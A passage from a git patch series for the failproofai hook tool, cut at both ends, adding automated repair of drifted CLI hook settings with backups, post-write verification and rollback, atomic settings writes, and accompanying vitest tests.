most dangerous automated action in the product: the file it touches is the only thing telling a vendor's CLI to call us at all, so getting it wrong stops the machine enforcing, silently — the failure repair exists to end. It runs unattended anyway, because the alternative does not work where this runs. On a headless server a warning goes to a log nobody opens, which is indistinguishable from everything working, so warn-only guarantees a long window of silent zero enforcement on exactly the machines that cannot report it. The symmetry is what makes it defensible: unmonitored, NO repair means enforcement is silently absent, and a BAD repair means enforcement is silently absent plus a mangled file. The rules exist so the worst case of repairing is no worse than not repairing. Only `stale` is touched. Never `absent` — they never installed there, and deciding for them is not repair. Never `stale_path`, which is our own install path rather than the vendor's format. Never `unreadable`, because repair runs the same writer that already threw and would fail every attempt while looking like it tried. Never a dogfood config. Back up first; verify after by RE-RUNNING DETECTION and requiring `ok`, not by re-reading our own file, which is the tautology `hooksInstalledInSettings()` already fails at; restore the previous bytes when it does not verify. A backup that cannot be written aborts the repair rather than proceeding without a way back. ## A product bug this surfaced Testing the exact case repair exists for showed `writeHookEntries` cannot fix a container whose TYPE changed. Copilot's does `settings.hooks ??= {}`, so when `hooks` is already an ARRAY — the 1.0.70 shape 1.0.71 rejected — the `??=` keeps the array and `hooks["PreToolUse"] = …` sets a non-index property that JSON.stringify silently drops. Our entries disappear and the file stays broken. That is not specific to repair: a plain `failproofai policies --install` on an old-shape config produces a still-broken file today. Repair coerces those containers, learning the expected type by running the integration's own writer against an empty object rather than hardcoding a table — correct for all twelve with nothing to maintain. Only keys the probe defines are touched, only when the container type differs, and the coercion is recorded in the outcome because it discards what the old container held. Detection gained the case that makes repair meaningful: a file containing our hook in a shape we no longer recognise used to report `absent`, so repair would never have fired on Copilot 1.0.71 — the incident it is for. A raw-text trace check now separates "you never installed here" from "your entry is here and the shape around it moved", which reports `stale` with detail `unrecognised-shape`. Deliberately raw-text: the premise is that we can no longer parse the structure the way we thought. `writeJsonFile` is now atomic (temp + rename, preserving mode). A bare writeFileSync truncates before it rewrites, so a crash or full disk mid-write leaves a user's settings.json empty and every hook stops firing. Eight assertions in manager.test.ts checked `writeFileSync` received the settings path; they now read the rename destination, which is where the path went. 12 repair tests, 21 detection tests. Full unit suite green apart from three fp-reset cases that fail identically on clean main. Co-Authored-By: Claude Opus 5 (1M context) --- __tests__/hooks/config-repair.test.ts | 227 +++++++++++++++++++++ __tests__/hooks/manager.test.ts | 27 ++- src/hooks/config-drift.ts | 41 +++- src/hooks/config-repair.ts | 278 ++++++++++++++++++++++++++ src/hooks/fp-home.ts | 15 ++ src/hooks/integrations.ts | 59 ++++-- 6 files changed, 621 insertions(+), 26 deletions(-) create mode 100644 __tests__/hooks/config-repair.test.ts create mode 100644 src/hooks/config-repair.ts diff --git a/__tests__/hooks/config-repair.test.ts b/__tests__/hooks/config-repair.test.ts new file mode 100644 index 000000000..8a71c05fa --- /dev/null +++ b/__tests__/hooks/config-repair.test.ts @@ -0,0 +1,227 @@ +// @vitest-environment node +/** + * Repair rewrites a file the user owns and the vendor reads, unattended, on + * machines with no operator. So the assertions here are mostly about restraint: + * what it refuses to touch, that it always leaves a way back, and that it puts + * the original bytes back rather than leaving a file it could not verify. + */ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { mkdtempSync, rmSync, readFileSync, writeFileSync, mkdirSync, readdirSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { dirname, join } from "node:path"; +import { repairConfigDrift } from "../../src/hooks/config-repair"; +import { detectConfigDrift } from "../../src/hooks/config-drift"; +import { claudeCode, getIntegration } from "../../src/hooks/integrations"; +import { configBackupsDir } from "../../src/hooks/fp-home"; + +let cwd: string; +let home: string; +const BINARY = "/usr/bin/failproofai"; + +function install(): string { + const path = claudeCode.getSettingsPath("project", cwd); + const settings = claudeCode.readSettings(path); + claudeCode.writeHookEntries(settings, BINARY, "project"); + claudeCode.writeSettings(path, settings); + return path; +} + +/** Break the installed config the way a vendor format change would. */ +function makeStale(path: string): void { + const settings = JSON.parse(readFileSync(path, "utf8")) as Record; + const groups = (settings.hooks as Record> }>>) + .PreToolUse; + groups[0].hooks[0].timeout = "60s"; + writeFileSync(path, JSON.stringify(settings, null, 2)); +} + +function statusOf(): string | undefined { + return detectConfigDrift({ clis: ["claude"], scopes: ["project"], cwd })[0]?.status; +} + +function repair(dryRun = false) { + return repairConfigDrift({ cwd, clis: ["claude"], scopes: ["project"], dryRun }); +} + +beforeEach(() => { + cwd = mkdtempSync(join(tmpdir(), "fpai-repair-")); + home = mkdtempSync(join(tmpdir(), "fpai-repair-home-")); + process.env.FAILPROOFAI_HOME = home; + process.env.FAILPROOFAI_BINARY_OVERRIDE = BINARY; +}); + +afterEach(() => { + delete process.env.FAILPROOFAI_HOME; + delete process.env.FAILPROOFAI_BINARY_OVERRIDE; + rmSync(cwd, { recursive: true, force: true }); + rmSync(home, { recursive: true, force: true }); +}); + +describe("config-repair: the happy path", () => { + it("repairs a stale config and verifies it, rather than assuming", () => { + const path = install(); + makeStale(path); + expect(statusOf()).toBe("stale"); + + const [outcome] = repair(); + expect(outcome.action).toBe("repaired"); + expect(outcome.reason).toBe("verified-ok"); + expect(statusOf()).toBe("ok"); + }); + + it("keeps the user's own settings through the rewrite", () => { + const path = install(); + const settings = JSON.parse(readFileSync(path, "utf8")) as Record; + settings.permissions = { allow: ["WebSearch"] }; + settings.model = "opus"; + writeFileSync(path, JSON.stringify(settings, null, 2)); + makeStale(path); + + expect(repair()[0].action).toBe("repaired"); + + const after = JSON.parse(readFileSync(path, "utf8")) as Record; + expect(after.permissions).toEqual({ allow: ["WebSearch"] }); + expect(after.model).toBe("opus"); + }); + + it("leaves a backup of the previous bytes", () => { + const path = install(); + makeStale(path); + const before = readFileSync(path, "utf8"); + + const [outcome] = repair(); + expect(outcome.backupPath).toBeTruthy(); + expect(readFileSync(outcome.backupPath!, "utf8")).toBe(before); + }); + + it("bounds how many backups it keeps", () => { + const path = install(); + for (let i = 0; i < 6; i++) { + makeStale(path); + repair(); + } + const dir = join(configBackupsDir(), "claude-project"); + expect(readdirSync(dir).filter((n) => n.endsWith(".bak")).length).toBe(3); + }); +}); + +describe("config-repair: what it refuses to touch", () => { + it("does nothing for a healthy config", () => { + install(); + expect(repair()[0].action).toBe("skipped"); + expect(repair()[0].reason).toContain("ok"); + }); + + it("does not install where the user never did", () => { + // `absent` is not drift — deciding to install for them is not repair. + expect(repair()).toHaveLength(0); + }); + + it("refuses a file our own writer cannot process", () => { + // Repair runs that same writer, so it would fail every attempt while + // looking like it tried. A human has to look. + const path = install(); + const settings = JSON.parse(readFileSync(path, "utf8")) as Record; + (settings.hooks as Record).PreToolUse = { matcher: "*", hooks: [] }; + writeFileSync(path, JSON.stringify(settings, null, 2)); + + const [outcome] = repair(); + expect(outcome.action).toBe("skipped"); + expect(outcome.reason).toContain("unreadable"); + }); + + it("never touches this repo's own dogfood configs", () => { + const path = claudeCode.getSettingsPath("project", cwd); + mkdirSync(dirname(path), { recursive: true }); + const dogfood = JSON.stringify({ + hooks: { + PreToolUse: [ + { + hooks: [ + { + type: "command", + command: 'node "$CLAUDE_PROJECT_DIR/scripts/dev-hook.mjs" --hook PreToolUse', + timeout: 60, + __failproofai_hook__: true, + }, + ], + }, + ], + }, + }); + writeFileSync(path, dogfood); + + const [outcome] = repair(); + expect(outcome.action).toBe("skipped"); + expect(readFileSync(path, "utf8")).toBe(dogfood); + }); + + it("changes nothing in dry-run, including the backup directory", () => { + const path = install(); + makeStale(path); + const before = readFileSync(path, "utf8"); + + const [outcome] = repair(true); + expect(outcome.action).toBe("skipped"); + expect(outcome.reason).toBe("dry-run"); + expect(readFileSync(path, "utf8")).toBe(before); + expect(() => readdirSync(configBackupsDir())).toThrow(); + }); +}); + +describe("config-repair: the old-shape case it exists for", () => { + it("repairs a config whose shape we no longer recognise", () => { + // Copilot 1.0.71: `hooks` went array -> object, older files were rejected + // wholesale, and the session ran unhooked. Our entry IS in the file; we + // simply cannot see it through the shape we expect. + const copilot = getIntegration("copilot"); + const path = copilot.getSettingsPath("project", cwd); + mkdirSync(dirname(path), { recursive: true }); + writeFileSync( + path, + JSON.stringify({ + version: 1, + hooks: [ + { + event: "PreToolUse", + type: "command", + bash: "npx -y failproofai --hook PreToolUse --cli copilot", + __failproofai_hook__: true, + }, + ], + }), + ); + + const before = detectConfigDrift({ clis: ["copilot"], scopes: ["project"], cwd })[0]; + expect(before.status).toBe("stale"); + expect(before.detail).toBe("unrecognised-shape"); + + const outcome = repairConfigDrift({ cwd, clis: ["copilot"], scopes: ["project"] })[0]; + expect(outcome.action).toBe("repaired"); + + // The array is gone; `hooks` is the object shape 1.0.71 requires. + const after = JSON.parse(readFileSync(path, "utf8")) as { hooks: unknown }; + expect(Array.isArray(after.hooks)).toBe(false); + expect(detectConfigDrift({ clis: ["copilot"], scopes: ["project"], cwd })[0].status).toBe("ok"); + }); +}); + +describe("config-repair: it must never throw", () => { + it("survives a settings path that cannot be backed up", () => { + const path = install(); + makeStale(path); + // Make the backup root un-creatable by putting a file where the dir goes. + mkdirSync(home, { recursive: true }); + writeFileSync(configBackupsDir(), "not a directory"); + + const [outcome] = repair(); + expect(outcome.action).toBe("failed"); + expect(outcome.reason).toContain("backup-failed"); + // Refusing to repair leaves the machine exactly as it was. + expect(statusOf()).toBe("stale"); + }); + + it("does not throw when asked to repair every CLI on an empty machine", () => { + expect(() => repairConfigDrift({ cwd })).not.toThrow(); + }); +}); diff --git a/__tests__/hooks/manager.test.ts b/__tests__/hooks/manager.test.ts index 4b80874b2..7b2ef4b54 100644 --- a/__tests__/hooks/manager.test.ts +++ b/__tests__/hooks/manager.test.ts @@ -1,16 +1,24 @@ // @vitest-environment node import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; -import { readFileSync, writeFileSync, existsSync } from "node:fs"; +import { readFileSync, writeFileSync, existsSync, renameSync } from "node:fs"; import { execSync } from "node:child_process"; import { resolve } from "node:path"; import { homedir } from "node:os"; import { globalPolicyConfigFile } from "../../src/hooks/fp-home"; +// `writeJsonFile` writes to a temp file and renames it into place, so the +// bytes land via `writeFileSync` (temp path) and the DESTINATION arrives via +// `renameSync`. Assertions about *where* we wrote read the rename; assertions +// about *what* we wrote still read the write. vi.mock("node:fs", () => ({ readFileSync: vi.fn(), writeFileSync: vi.fn(), existsSync: vi.fn(), mkdirSync: vi.fn(), + renameSync: vi.fn(), + statSync: vi.fn(() => ({ mode: 0o644 })), + chmodSync: vi.fn(), + rmSync: vi.fn(), })); vi.mock("node:child_process", () => ({ @@ -83,7 +91,8 @@ describe("hooks/manager", () => { await installHooks(); expect(writeFileSync).toHaveBeenCalledOnce(); - const [path, content] = vi.mocked(writeFileSync).mock.calls[0]; + const path = vi.mocked(renameSync).mock.calls[0][1]; + const [, content] = vi.mocked(writeFileSync).mock.calls[0]; expect(path).toBe(USER_SETTINGS_PATH); const written = JSON.parse(content as string); @@ -281,7 +290,7 @@ describe("hooks/manager", () => { const { installHooks } = await import("../../src/hooks/manager"); await installHooks(["all"]); - const [path] = vi.mocked(writeFileSync).mock.calls[0]; + const path = vi.mocked(renameSync).mock.calls[0][1]; expect(path).toBe(USER_SETTINGS_PATH); }); @@ -292,7 +301,7 @@ describe("hooks/manager", () => { const { installHooks } = await import("../../src/hooks/manager"); await installHooks(["all"], "project"); - const [path] = vi.mocked(writeFileSync).mock.calls[0]; + const path = vi.mocked(renameSync).mock.calls[0][1]; expect(path).toBe(PROJECT_SETTINGS_PATH); }); @@ -410,7 +419,7 @@ describe("hooks/manager", () => { const { installHooks } = await import("../../src/hooks/manager"); await installHooks(["all"], "local"); - const [path] = vi.mocked(writeFileSync).mock.calls[0]; + const path = vi.mocked(renameSync).mock.calls[0][1]; expect(path).toBe(LOCAL_SETTINGS_PATH); }); @@ -421,7 +430,7 @@ describe("hooks/manager", () => { const { installHooks } = await import("../../src/hooks/manager"); await installHooks(["all"], "project", "/tmp/my-project"); - const [path] = vi.mocked(writeFileSync).mock.calls[0]; + const path = vi.mocked(renameSync).mock.calls[0][1]; expect(path).toBe(resolve("/tmp/my-project", ".claude", "settings.json")); }); @@ -432,7 +441,7 @@ describe("hooks/manager", () => { const { installHooks } = await import("../../src/hooks/manager"); await installHooks(["all"], "local", "/tmp/my-project"); - const [path] = vi.mocked(writeFileSync).mock.calls[0]; + const path = vi.mocked(renameSync).mock.calls[0][1]; expect(path).toBe(resolve("/tmp/my-project", ".claude", "settings.local.json")); }); @@ -443,7 +452,7 @@ describe("hooks/manager", () => { const { installHooks } = await import("../../src/hooks/manager"); await installHooks(["all"], "user", "/tmp/my-project"); - const [path] = vi.mocked(writeFileSync).mock.calls[0]; + const path = vi.mocked(renameSync).mock.calls[0][1]; expect(path).toBe(USER_SETTINGS_PATH); }); @@ -978,7 +987,7 @@ describe("hooks/manager", () => { await removeHooks(undefined, "project", "/tmp/my-project"); expect(writeFileSync).toHaveBeenCalledOnce(); - const [path] = vi.mocked(writeFileSync).mock.calls[0]; + const path = vi.mocked(renameSync).mock.calls[0][1]; expect(path).toBe(customProjectPath); }); diff --git a/src/hooks/config-drift.ts b/src/hooks/config-drift.ts index f34c71c71..4ff4d292c 100644 --- a/src/hooks/config-drift.ts +++ b/src/hooks/config-drift.ts @@ -37,10 +37,15 @@ * This module answers a narrower question honestly rather than the whole one * badly. */ -import { existsSync } from "node:fs"; +import { existsSync, readFileSync } from "node:fs"; import { getIntegration, settingsPathsFor } from "./integrations"; import { resolveFailproofaiBinary } from "./manager"; -import { INTEGRATION_TYPES, type HookScope, type IntegrationType } from "./types"; +import { + FAILPROOFAI_HOOK_MARKER, + INTEGRATION_TYPES, + type HookScope, + type IntegrationType, +} from "./types"; /** What we found for one (cli, scope, settings file). */ export type DriftStatus = @@ -110,6 +115,26 @@ export function isDogfoodCommand(command: string): boolean { return command.includes("dev-hook.mjs"); } +/** + * Is there any sign of us in this file, whatever shape it is in? + * + * `hooksInstalledInSettings` looks for our entry in the shape we EXPECT, so a + * vendor that changes its config format makes it answer "not installed" for a + * file that plainly contains our hook. That is the difference between + * "you never installed here" — leave it alone — and "your entry is here and we + * no longer recognise the shape around it", which is the strongest drift signal + * available and precisely the Copilot 1.0.71 case: `hooks` went from an array + * to an object, older files were rejected wholesale, and the session ran + * unhooked in silence. + * + * Deliberately a raw-text check rather than a structural one: the whole premise + * is that we can no longer parse the structure the way we thought. + */ +function hasFailproofaiTrace(raw: string): boolean { + if (raw.includes(FAILPROOFAI_HOOK_MARKER)) return true; + return raw.includes("failproofai") && raw.includes("--hook"); +} + function containsDogfood(value: unknown, depth = 0): boolean { if (depth > 8) return false; if (typeof value === "string") return isDogfoodCommand(value); @@ -160,7 +185,17 @@ function inspectOne( } catch { installedHere = false; } - if (!installedHere) return { ...base, status: "absent" }; + if (!installedHere) { + let raw = ""; + try { + raw = readFileSync(settingsPath, "utf8"); + } catch { + return { ...base, status: "unreadable", detail: "read" }; + } + // Our entry is in there; we just cannot see it through the shape we expect. + if (hasFailproofaiTrace(raw)) return { ...base, status: "stale", detail: "unrecognised-shape" }; + return { ...base, status: "absent" }; + } try { integration.writeHookEntries(regenerated, binaryPath, scope); diff --git a/src/hooks/config-repair.ts b/src/hooks/config-repair.ts new file mode 100644 index 000000000..8f4a790a0 --- /dev/null +++ b/src/hooks/config-repair.ts @@ -0,0 +1,278 @@ +/** + * Put a drifted CLI hook config back into the shape this build installs. + * + * `config-drift.ts` finds files whose shape no longer matches what + * `writeHookEntries` produces. This rewrites them — which makes it the single + * most dangerous automated action in the product, because the file it touches + * is the only thing telling a vendor's CLI to call us at all. Get it wrong and + * the machine stops enforcing, silently, which is the failure repair exists to + * end. + * + * ## Why it runs unattended anyway + * + * The alternative was "warn, and let a human fix it". failproofai runs on + * headless servers with no operator, where a warning goes to a log nobody + * opens — indistinguishable from everything working. So a warn-only design + * guarantees a long window of silent zero enforcement on exactly the machines + * that cannot report it and where an unattended agent matters most. + * + * The failure symmetry is what makes that defensible: on an unmonitored box, + * *no* repair means enforcement is silently absent, and a *bad* repair means + * enforcement is silently absent plus a mangled file. Nobody notices either. + * So the rules below are not there to protect a watching human — they exist so + * the worst case of repairing is no worse than not repairing. + * + * ## The rules + * + * 1. **Only `stale`.** Never `absent` (they never installed here — installing + * would be us deciding for them), never `stale_path` (benign: our own + * install path, not the vendor's format), never `unsupported`, and never + * `unreadable` — repair runs the same writer that already threw, so it would + * fail every attempt while looking like it tried. + * 2. **Never this repo's own dogfood configs.** They carry the same marker a + * real install does; rewriting one points enforcement at the published + * package while the tree is being edited. + * 3. **Back up first, verify after, roll back on failure.** Verification is not + * "we wrote the file" — that is the tautology `hooksInstalledInSettings()` + * already fails at. It is re-running detection and requiring `ok`. + * 4. **Never throw.** A repair pass that dies partway is how a machine ends up + * with one file rewritten and eleven not, and no record of which. + * + * What this deliberately does NOT prove is that the vendor now accepts the + * file. Only the vendor's own behaviour can show that — hooks arriving again — + * and that check belongs to whatever schedules this, not to the write itself. + */ +import { copyFileSync, existsSync, mkdirSync, readdirSync, rmSync, statSync } from "node:fs"; +import { join } from "node:path"; +import { getIntegration } from "./integrations"; +import { configBackupsDir } from "./fp-home"; +import { detectConfigDrift, type ConfigDriftReport } from "./config-drift"; +import type { HookScope, IntegrationType } from "./types"; +import { resolveFailproofaiBinary } from "./manager"; + +/** Backups kept per (cli, scope). Enough to undo, bounded so it cannot grow. */ +const KEEP_BACKUPS = 3; + +export type RepairAction = + /** Rewritten, and detection now reports `ok`. */ + | "repaired" + /** Not eligible — the status was not `stale`, or it is a dogfood config. */ + | "skipped" + /** Rewritten, still not `ok`, previous bytes restored. */ + | "rolled_back" + /** Could not be attempted or the rollback itself failed. Needs a human. */ + | "failed"; + +export interface RepairOutcome { + cli: IntegrationType; + scope: HookScope; + settingsPath: string; + action: RepairAction; + /** Why, in a form a log line can carry. Never file contents. */ + reason: string; + backupPath?: string; +} + +export interface RepairOptions { + cwd?: string; + /** Report what would happen and touch nothing. */ + dryRun?: boolean; + /** Restrict to these CLIs. */ + clis?: readonly IntegrationType[]; + /** Restrict to these scopes. */ + scopes?: readonly HookScope[]; +} + +/** + * Copy the current bytes somewhere we own, before touching the original. + * + * Under `~/.failproofai` rather than beside the file: a `.bak` dropped next to + * `~/.claude/settings.json` is clutter in someone else's directory, and some + * vendors read every file in their config dir. + */ +function backup(cli: IntegrationType, scope: HookScope, settingsPath: string): string { + const dir = join(configBackupsDir(), `${cli}-${scope}`); + mkdirSync(dir, { recursive: true, mode: 0o700 }); + const stamp = new Date().toISOString().replace(/[:.]/g, "-"); + const target = join(dir, `${stamp}.bak`); + copyFileSync(settingsPath, target); + prune(dir); + return target; +} + +function prune(dir: string): void { + try { + const entries = readdirSync(dir) + .filter((n) => n.endsWith(".bak")) + .map((n) => ({ n, t: statSync(join(dir, n)).mtimeMs })) + .sort((a, b) => b.t - a.t); + for (const stale of entries.slice(KEEP_BACKUPS)) { + rmSync(join(dir, stale.n), { force: true }); + } + } catch { + // Pruning is hygiene; failing it must not fail a repair. + } +} + +/** + * Drop our own top-level containers whose TYPE no longer matches what this + * build writes, so the rewrite starts from something it can populate. + * + * Found while testing the exact case repair exists for. Copilot's + * `writeHookEntries` does `settings.hooks ??= {}`; when `hooks` is already an + * ARRAY — the 1.0.70 shape 1.0.71 rejected — the `??=` keeps the array, and + * `hooks["PreToolUse"] = …` then sets a non-index property that + * `JSON.stringify` silently drops. Our entries disappear and the file stays + * broken. That is not a repair bug: it means a plain + * `failproofai policies --install` cannot fix an old-shape config either. + * + * The expected container type is learned rather than hardcoded — we run the + * integration's own writer against an empty object and look at what it built, + * so this stays correct for all twelve without a table to maintain. + * + * Only keys the probe itself defines are touched, and only when the container + * TYPE differs. Whatever the old container held is discarded, which is the + * deliberate part: it is in a format the vendor already rejects, and the backup + * taken moments earlier is the way back. + */ +function coerceContainers( + settings: Record, + probe: Record, +): string[] { + const dropped: string[] = []; + for (const key of Object.keys(probe)) { + if (!(key in settings)) continue; + const live = settings[key]; + const want = probe[key]; + const liveIsArray = Array.isArray(live); + const wantIsArray = Array.isArray(want); + const bothObjects = typeof live === "object" && live !== null && typeof want === "object"; + if (bothObjects && liveIsArray !== wantIsArray) { + delete settings[key]; + dropped.push(key); + } + } + return dropped; +} + +/** Re-run detection for exactly one file. The only honest "did it work". */ +function statusAfter( + cli: IntegrationType, + scope: HookScope, + settingsPath: string, + cwd: string, +): ConfigDriftReport | undefined { + return detectConfigDrift({ clis: [cli], scopes: [scope], cwd }).find( + (r) => r.settingsPath === settingsPath, + ); +} + +function repairOne(report: ConfigDriftReport, cwd: string, dryRun: boolean): RepairOutcome { + const { cli, scope, settingsPath } = report; + const base = { cli, scope, settingsPath }; + + if (report.status !== "stale") { + return { ...base, action: "skipped", reason: `status=${report.status}` }; + } + if (!existsSync(settingsPath)) { + return { ...base, action: "skipped", reason: "vanished-before-repair" }; + } + if (dryRun) { + return { ...base, action: "skipped", reason: "dry-run" }; + } + + let backupPath: string; + try { + backupPath = backup(cli, scope, settingsPath); + } catch (err) { + // No backup means no way back, so we do not proceed. Refusing to repair is + // the safe direction: it leaves the machine exactly as it was. + return { ...base, action: "failed", reason: `backup-failed:${errorClass(err)}` }; + } + + let coerced: string[] = []; + try { + const integration = getIntegration(cli); + const binaryPath = resolveFailproofaiBinary(); + const settings = integration.readSettings(settingsPath); + + try { + const probe: Record = {}; + integration.writeHookEntries(probe, binaryPath, scope); + coerced = coerceContainers(settings, probe); + } catch { + // A writer that will not run against an empty object tells us nothing + // about the expected shape. Proceed without coercing rather than guess. + } + + integration.writeHookEntries(settings, binaryPath, scope); + integration.writeSettings(settingsPath, settings); + } catch (err) { + return restore(base, backupPath, `write-failed:${errorClass(err)}`); + } + + const after = statusAfter(cli, scope, settingsPath, cwd); + if (after?.status === "ok") { + const note = coerced.length > 0 ? `verified-ok;coerced=${coerced.join(",")}` : "verified-ok"; + return { ...base, action: "repaired", reason: note, backupPath }; + } + return restore(base, backupPath, `unverified:${after?.status ?? "gone"}`); +} + +function restore( + base: { cli: IntegrationType; scope: HookScope; settingsPath: string }, + backupPath: string, + reason: string, +): RepairOutcome { + try { + copyFileSync(backupPath, base.settingsPath); + return { ...base, action: "rolled_back", reason, backupPath }; + } catch (err) { + // The worst outcome available: we wrote, it did not verify, and we could + // not put the original back. Say so loudly and name the backup, because a + // human restoring it by hand is now the only route. + return { + ...base, + action: "failed", + reason: `${reason};restore-failed:${errorClass(err)}`, + backupPath, + }; + } +} + +function errorClass(err: unknown): string { + if (err instanceof Error) { + const code = (err as NodeJS.ErrnoException).code; + return code ?? err.constructor.name; + } + return "unknown"; +} + +/** + * Repair every drifted config we are allowed to touch. + * + * Never throws: one file that cannot be repaired must not stop the other + * eleven, because a partial pass with no record is worse than either outcome. + */ +export function repairConfigDrift(opts: RepairOptions = {}): RepairOutcome[] { + const cwd = opts.cwd ?? process.cwd(); + const reports = detectConfigDrift({ cwd, clis: opts.clis, scopes: opts.scopes }); + const out: RepairOutcome[] = []; + for (const report of reports) { + // `absent` is the common case on any machine — reporting a skip for each + // would bury the handful that matter. + if (report.status === "absent") continue; + try { + out.push(repairOne(report, cwd, opts.dryRun === true)); + } catch (err) { + out.push({ + cli: report.cli, + scope: report.scope, + settingsPath: report.settingsPath, + action: "failed", + reason: `unexpected:${errorClass(err)}`, + }); + } + } + return out; +} diff --git a/src/hooks/fp-home.ts b/src/hooks/fp-home.ts index ba2e290d8..bb41529d5 100644 --- a/src/hooks/fp-home.ts +++ b/src/hooks/fp-home.ts @@ -290,6 +290,17 @@ export const hookActivityDir = (home?: string) => atHome(home, "hook-activity"); export const contractTableFile = (home?: string) => atHome(home, "contracts", "observed.json"); +/** + * Copies of a CLI's hook config taken immediately before we repaired it. + * + * Repair rewrites a file the USER owns and the VENDOR reads, unattended, on + * machines with no operator. The backup is the only thing that makes that + * reversible: if the rewritten file does not verify, the previous bytes go + * back. Retained per (cli, scope) and pruned, because a machine that repairs + * often must not accumulate copies forever. + */ +export const configBackupsDir = (home?: string) => atHome(home, "config-backups"); + // ── Runtime ────────────────────────────────────────────────────────────────── /** Sockets and the singleton flock. Shallow on purpose — see the header note. */ @@ -579,6 +590,10 @@ export const HOME_CLASSES: readonly { path: (home?: string) => string; class: Da { path: launcherMarker, class: "derived" }, { path: onboardingLockFile, class: "derived" }, { path: onboardingAttemptFile, class: "derived" }, + // The bytes of a user's own CLI config, taken before we rewrote it. Nothing + // regenerates these — they are the only route back from a repair that made + // things worse, which is exactly when the live file is no longer a source. + { path: configBackupsDir, class: "user-typed" }, // Observed vendor payload shapes. Derived rather than undelivered on purpose: // it is a picture of what the CLIs on THIS machine are currently sending, and // live traffic rebuilds it within a day. Dropping it costs a day of diff --git a/src/hooks/integrations.ts b/src/hooks/integrations.ts index 7991bba26..7294e9893 100644 --- a/src/hooks/integrations.ts +++ b/src/hooks/integrations.ts @@ -7,7 +7,18 @@ * is agent-agnostic — only install/uninstall plumbing varies. */ import { execSync } from "node:child_process"; -import { readFileSync, writeFileSync, existsSync, mkdirSync, unlinkSync } from "node:fs"; +import { + readFileSync, + writeFileSync, + existsSync, + mkdirSync, + unlinkSync, + renameSync, + chmodSync, + statSync, + rmSync, +} from "node:fs"; +import { randomBytes } from "node:crypto"; import { resolve, dirname } from "node:path"; import { fileURLToPath } from "node:url"; import { homedir } from "node:os"; @@ -58,24 +69,44 @@ function readJsonFile(path: string): Record { } /** - * NOT atomic, and that is a known gap rather than an oversight. + * Write a settings file atomically: temp beside it, then rename. + * + * These are files the USER owns and the VENDOR reads. `~/.claude/settings.json` + * holds their permissions, env and model settings, and it is also the only + * thing telling their CLI to call us at all. A bare `writeFileSync` truncates + * before it rewrites, so a crash, a full disk or a killed process mid-write + * leaves the file empty or half-written; the vendor then rejects it and the + * session runs with NO enforcement, silently — the Copilot 1.0.71 outcome, + * self-inflicted. * - * A bare `writeFileSync` truncates before it rewrites, so a crash or a full - * disk mid-write leaves a user's `settings.json` empty or half-written — the - * vendor then rejects it and the session runs with NO enforcement, silently. - * Tolerable while every write follows a human typing `policies --install` and - * reading the output; NOT tolerable for an unattended repair on a headless box. + * That was survivable while every write followed a human typing + * `policies --install` and reading the output. Repair runs unattended on + * headless boxes, so the guarantee belongs here rather than in each caller. * - * Making it atomic (temp + rename, preserving mode) is ~15 lines, but it - * changes what the install path observably calls: eight assertions in - * `manager.test.ts` check `writeFileSync` received the settings path, and with - * a rename they must check the rename destination instead. That is a - * deliberate change to the install path and belongs with the repair work that - * needs it, not smuggled in beside a read-only detector. + * `rename(2)` is atomic within a filesystem, and the temp file is created in + * the same directory precisely so it never crosses one. The existing mode is + * preserved: these files are not ours to re-permission. */ function writeJsonFile(path: string, data: Record): void { mkdirSync(dirname(path), { recursive: true }); - writeFileSync(path, JSON.stringify(data, null, 2) + "\n", "utf8"); + const body = JSON.stringify(data, null, 2) + "\n"; + const tmp = `${path}.${process.pid}.${randomBytes(6).toString("hex")}.tmp`; + try { + writeFileSync(tmp, body, "utf8"); + try { + chmodSync(tmp, statSync(path).mode & 0o7777); + } catch { + // No existing file, or an unreadable mode — the default is correct. + } + renameSync(tmp, path); + } catch (err) { + try { + rmSync(tmp, { force: true }); + } catch { + // A stray temp file beats masking the real error. + } + throw err; + } } /** Read a YAML file as a `Document` so writes round-trip the user's other keys + From a1f7227f2f2034d88316ab11bc7260d9eb198f4e Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Tue, 18 Aug 2026 00:41:58 +0530 Subject: [PATCH 04/18] Fix the install path too: reinstalling could not recover a mistyped container MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Repair needed this, but the bug was never repair's. Every `writeHookEntries` reaches for its container with `??=`, which accepts whatever is already there. When a vendor changes the container TYPE that is silently catastrophic AND permanent: copilot's `settings.hooks ??= {}` keeps a pre-existing ARRAY — the 1.0.70 shape 1.0.71 rejected — the following `hooks["PreToolUse"] = …` sets a non-index property, and `JSON.stringify` drops it. The result is worse than "our entries are missing". The array keeps the OLD content the vendor already rejects while our new entries are thrown away, so the file written back is byte-identical to the broken one it started as — and running `failproofai policies --install` again does exactly the same thing. A user whose vendor changed format could reinstall forever, stay completely unenforced, and see every command report success. That is the failure this whole line of work exists to end, sitting in the install path. `resetMistypedContainers` moves out of config-repair.ts into integrations.ts, beside the writers it probes, and both callers use it: `installHooks` now resets before writing and prints which key it replaced, and repair keeps the same behaviour through the shared helper rather than a private copy. The expected type is learned, not hardcoded: run the integration's own writer against an empty object and look at what it built. That is correct for all twelve without a table to maintain and cannot disagree with the writer, because it asks the writer. Only keys the probe itself defines are considered, and only when the container type differs — a user's own settings are never in scope, including an unrelated array of their own. The invariant that makes it safe on every install is asserted directly: for every integration, resetting a config it just wrote is a no-op. So the only files this can touch are ones already in a shape their vendor rejects. Two mocks needed the new export — manager.test.ts and new-telemetry.test.ts — which is the same class of breakage as the fs mock earlier: a partial module mock silently omits whatever the implementation grows next. 5 new tests. Full unit suite green apart from three fp-reset cases that fail identically on clean main. Co-Authored-By: Claude Opus 5 (1M context) --- __tests__/hooks/new-telemetry.test.ts | 4 + .../hooks/reset-mistyped-containers.test.ts | 134 ++++++++++++++++++ src/hooks/config-repair.ts | 54 +------ src/hooks/integrations.ts | 55 +++++++ src/hooks/manager.ts | 17 ++- 5 files changed, 213 insertions(+), 51 deletions(-) create mode 100644 __tests__/hooks/reset-mistyped-containers.test.ts diff --git a/__tests__/hooks/new-telemetry.test.ts b/__tests__/hooks/new-telemetry.test.ts index 20c2f01a7..1688fb098 100644 --- a/__tests__/hooks/new-telemetry.test.ts +++ b/__tests__/hooks/new-telemetry.test.ts @@ -32,6 +32,10 @@ vi.mock("../../src/hooks/install-prompt", async () => { vi.mock("../../src/hooks/integrations", () => ({ detectInstalledClis: 